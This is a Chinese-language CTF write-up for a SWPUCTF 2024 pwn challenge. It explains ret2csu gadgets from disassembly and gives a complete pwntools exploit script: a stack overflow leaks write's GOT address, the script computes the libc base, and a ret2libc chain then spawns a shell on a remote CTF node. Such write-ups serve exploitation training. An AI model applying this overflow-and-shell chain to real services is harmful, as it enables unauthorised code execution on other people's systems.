Problem: [SWPUCTF 2024 秋季新生赛]出题人你到底干了什么?
思路Linux x64 Linux x86-64传递参数的方式几乎和Windows一样。但是是通过6个寄存器代替4个寄存器来传参(RDI,RSI,RDX,RCX,R8,R9)
可以用ret2csu来解答
.text:0000000000401226 loc_401226: ; CODE XREF: __libc_csu_init+35↑j .text:0000000000401226 add rsp, 8 .text:000000000040122A pop rbx .text:000000000040122B pop rbp .text:000000000040122C pop r12 .text:000000000040122E pop r13 .text:0000000000401230 pop r14 .text:0000000000401232 pop r15 .text:0000000000401234 retn
这是需要使用的第一个gadget 避免麻烦直接从40122A开始用
rbx一般设置0 rbp一般设置1
loc_401210: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000401210 mov rdx, r14 第一个参数 .text:0000000000401213 mov rsi, r13 第二个参数 .text:0000000000401216 mov edi, r12d 第三个参数 .text:0000000000401219 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8] .text:000000000040121D add rbx, 1 .text:0000000000401221 cmp rbp, rbx .text:0000000000401224 jnz short loc_401210
如果rbx设置0 也就是直接call[r15] rbp设置1 可以在cmp rbp, rbx 拿到0 从而不循环跳转loc_401210 又跳到loc_401226 因为add rsp, 8 所以需要多溢出8字节 直接填充6*8 + 8 = 56字节脏数据 然后到ret 接一个main重新溢出 然后就可以按照正常的ret2libc打了
EXP from pwn import *
context.log_level = 'debug'
elf = ELF("./attachment")
libc = ELF('/home/rick/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')
p = remote("node6.anna.nssctf.cn",26697)
write_got = elf.got["write"]
write_plt = elf.plt["write"]
gadget_csu_first = 0x40122A
gadget_csu_second = 0x401210
main_addr = elf.sym["main"]
payload = b'a'*88 + b'a'*16
payload += p64(gadget_csu_first)
payload += p64(0)
payload += p64(1)
payload += p64(1)
payload += p64(write_got)
payload += p64(8)
payload += p64(write_got)
'''
call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:0000000000401221 cmp rbp, rbx
.text:0000000000401224 jnz short loc_401210
'''
payload += p64(gadget_csu_second)
payload += p64(0xdeadbeef)*7
payload += p64(main_addr)
'''
.plt.sec:0000000000401060 _write proc near ; CODE XREF: main+32↓p
.plt.sec:0000000000401060 ; __unwind {
.plt.sec:0000000000401060 endbr64
.plt.sec:0000000000401064 bnd jmp cs:off_404018
.plt.sec:0000000000401064 _write endp
'''
p.send(payload)
p.recvuntil(b"!\n")
leak_got = u64(p.recv(8))
log.success("leak write got=>"+hex(leak_got))
libc_base = leak_got - libc.sym["write"]
pop_rdi_ret = 0x401233
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
ret = 0x40101a
payload = b'a'*88 + b'a'*16 +p64(ret) +p64(pop_rdi_ret) + p64(bin_sh_addr) +p64(system_addr)
p.send(payload)
p.interactive()
需要注意的是设置r15 call的时候不能设置plt 因为plt里面的是jmp [offset] 你call他 就 相当于 call 机器码了 必报错 然后payload2 加一个ret 不加不对齐报错
总结ret2csu retlibc
|